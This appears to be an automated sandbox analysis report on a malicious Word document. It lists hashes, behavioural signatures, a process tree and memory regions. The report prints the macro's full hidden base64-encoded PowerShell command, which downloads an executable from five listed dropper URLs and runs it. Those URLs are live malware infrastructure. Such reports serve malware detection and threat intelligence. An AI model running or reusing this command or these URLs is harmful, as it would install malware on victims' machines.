Analysis

  • max time kernel
    54s
  • max time network
    36s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    19/11/2024, 18:37

General

  • Target

    623b52a41069600922f0faa472e2b0d6cf338fed34d025e955d1b6420aa68f6b.doc

  • Size

    182KB

  • MD5

    6fb57a9bfccd1dd2062de639145dccf8

  • SHA1

    be4730e9e66fdefd1f2a91fd37cce331ee123cd4

  • SHA256

    623b52a41069600922f0faa472e2b0d6cf338fed34d025e955d1b6420aa68f6b

  • SHA512

    c09897e03fb2ecb0d5908da8cf165a0fcc871ba2b8750131e131b39275878ca6d36850a43152292b90ddc53d38b66203fff57e79f6c621fc8a80163d594696bf

  • SSDEEP

    3072:9Nh2y/GdywFyktGDWLS0HZWD5w8K7Nk9rD7IBUdasiv8OP7F:9Nh2k4PF7tGiL3HJk9rD7bdasiv86J

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://diwafashions.com/wp-admin/mqau6/

exe.dropper

http://designers.hotcom-web.com/ubkskw29clek/qnpm1p/

exe.dropper

http://dixartcontractors.com/cgi-bin/nnuv/

exe.dropper

http://diaspotv.info/wordpress/G/

exe.dropper

http://easyvisaoverseas.com/cgi-bin/v/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\623b52a41069600922f0faa472e2b0d6cf338fed34d025e955d1b6420aa68f6b.doc"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2336
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:572
    • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
      Powershell -w hidden -en JABWAGgAZAByAGkAZwBwAHQAeQA9ACcARwByAG4AcgBsAHYAagBnAHEAdwBpAGUAbAAnADsAJABRAGgAeQBtAGQAZAB0AHAAdQAgAD0AIAAnADgAOAAyACcAOwAkAFEAeQBmAHIAZgBhAHgAcABzAHAAeQA9ACcAQgBuAGIAbwByAGEAZwB6AGwAcgAnADsAJABLAGEAdABxAGgAcwByAGcAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFEAaAB5AG0AZABkAHQAcAB1ACsAJwAuAGUAeABlACcAOwAkAE8AYQBqAG4AZAByAHUAbAByAD0AJwBTAHoAdABnAHUAeAB6AHcAdwBrAHUAbwAnADsAJABGAHUAegBqAGQAcwBnAHYAZQA9ACYAKAAnAG4AJwArACcAZQB3ACcAKwAnAC0AbwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBFAFQALgBXAGUAYgBDAGwAaQBFAE4AVAA7ACQAVgB4AHkAegB5AHYAeQBzAGYAbQA9ACcAaAB0AHQAcAA6AC8ALwBkAGkAdwBhAGYAYQBzAGgAaQBvAG4AcwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AbQBxAGEAdQA2AC8AKgBoAHQAdABwADoALwAvAGQAZQBzAGkAZwBuAGUAcgBzAC4AaABvAHQAYwBvAG0ALQB3AGUAYgAuAGMAbwBtAC8AdQBiAGsAcwBrAHcAMgA5AGMAbABlAGsALwBxAG4AcABtADEAcAAvACoAaAB0AHQAcAA6AC8ALwBkAGkAeABhAHIAdABjAG8AbgB0AHIAYQBjAHQAbwByAHMALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwBuAG4AdQB2AC8AKgBoAHQAdABwADoALwAvAGQAaQBhAHMAcABvAHQAdgAuAGkAbgBmAG8ALwB3AG8AcgBkAHAAcgBlAHMAcwAvAEcALwAqAGgAdAB0AHAAOgAvAC8AZQBhAHMAeQB2AGkAcwBhAG8AdgBlAHIAcwBlAGEAcwAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAHYALwAnAC4AIgBzAFAAbABgAEkAVAAiACgAJwAqACcAKQA7ACQAUAB1AHcAcQBvAGYAZwBoAGwAPQAnAE4AYgBwAHgAZABuAHUAZAAnADsAZgBvAHIAZQBhAGMAaAAoACQASABkAGkAawBjAGUAdgBiAHUAYwB6AGgAYQAgAGkAbgAgACQAVgB4AHkAegB5AHYAeQBzAGYAbQApAHsAdAByAHkAewAkAEYAdQB6AGoAZABzAGcAdgBlAC4AIgBkAG8AdwBOAEwAbwBhAGQAYABGAGAASQBsAGUAIgAoACQASABkAGkAawBjAGUAdgBiAHUAYwB6AGgAYQAsACAAJABLAGEAdABxAGgAcwByAGcAKQA7ACQAUAB5AHUAbQBiAG0AdgBiAHYAdAA9ACcASABuAHgAeQB2AGMAcwBuACcAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQASwBhAHQAcQBoAHMAcgBnACkALgAiAGwAZQBuAGAAZwBUAGgAIgAgAC0AZwBlACAAMgA4ADQAMQAxACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAHMAVABhAGAAUgBUACIAKAAkAEsAYQB0AHEAaABzAHIAZwApADsAJABHAGcAdwBqAHkAcwB4AHoAPQAnAFgAYQB2AGMAZABtAHMAbABnAHAAeAAnADsAYgByAGUAYQBrADsAJABVAGIAYQBmAHIAcwBrAGYAeQBiAD0AJwBHAGYAYwB4AGkAeQB1AGEAbQBqAG4AJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUgBwAGEAYwBlAHgAZQByAHUAYgBpAHgAbgA9ACcAQQBrAHoAeQB5AG8AeABoAHAAJwA=
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2916

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\A71EF76.wmf

      Filesize

      444B

      MD5

      7b4ce4a6fa3d00c9007acd5f6e5dcecb

      SHA1

      41bca977aa2b139b59d0c41f79ca16f2358fba58

      SHA256

      d792710401419e297d4d71f8e588e02ec2581a239225d9bb9947c8d4e30febd1

      SHA512

      1a759cccf4bfd0e6cc14f4929bb449273a6f2ac2f31c342512e4d004c3992c12df045250be893d870e9bc6152b10ee53286accac95a558c57ebc17c3f7950c29

    • memory/2336-21-0x0000000006630000-0x0000000006730000-memory.dmp

      Filesize

      1024KB

    • memory/2336-15-0x00000000006C0000-0x00000000007C0000-memory.dmp

      Filesize

      1024KB

    • memory/2336-5-0x0000000006040000-0x0000000006140000-memory.dmp

      Filesize

      1024KB

    • memory/2336-0-0x000000002F2C1000-0x000000002F2C2000-memory.dmp

      Filesize

      4KB

    • memory/2336-13-0x00000000006C0000-0x00000000007C0000-memory.dmp

      Filesize

      1024KB

    • memory/2336-14-0x00000000006C0000-0x00000000007C0000-memory.dmp

      Filesize

      1024KB

    • memory/2336-12-0x00000000006C0000-0x00000000007C0000-memory.dmp

      Filesize

      1024KB

    • memory/2336-16-0x00000000006C0000-0x00000000007C0000-memory.dmp

      Filesize

      1024KB

    • memory/2336-2-0x000000007154D000-0x0000000071558000-memory.dmp

      Filesize

      44KB

    • memory/2336-22-0x00000000006C0000-0x00000000007C0000-memory.dmp

      Filesize

      1024KB

    • memory/2336-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2336-25-0x0000000006630000-0x0000000006730000-memory.dmp

      Filesize

      1024KB

    • memory/2336-39-0x00000000006C0000-0x00000000007C0000-memory.dmp

      Filesize

      1024KB

    • memory/2336-38-0x0000000006630000-0x0000000006730000-memory.dmp

      Filesize

      1024KB

    • memory/2336-35-0x000000007154D000-0x0000000071558000-memory.dmp

      Filesize

      44KB

    • memory/2336-36-0x0000000006040000-0x0000000006140000-memory.dmp

      Filesize

      1024KB

    • memory/2336-37-0x00000000006C0000-0x00000000007C0000-memory.dmp

      Filesize

      1024KB

    • memory/2916-32-0x0000000001ED0000-0x0000000001ED8000-memory.dmp

      Filesize

      32KB

    • memory/2916-31-0x000000001B380000-0x000000001B662000-memory.dmp

      Filesize

      2.9MB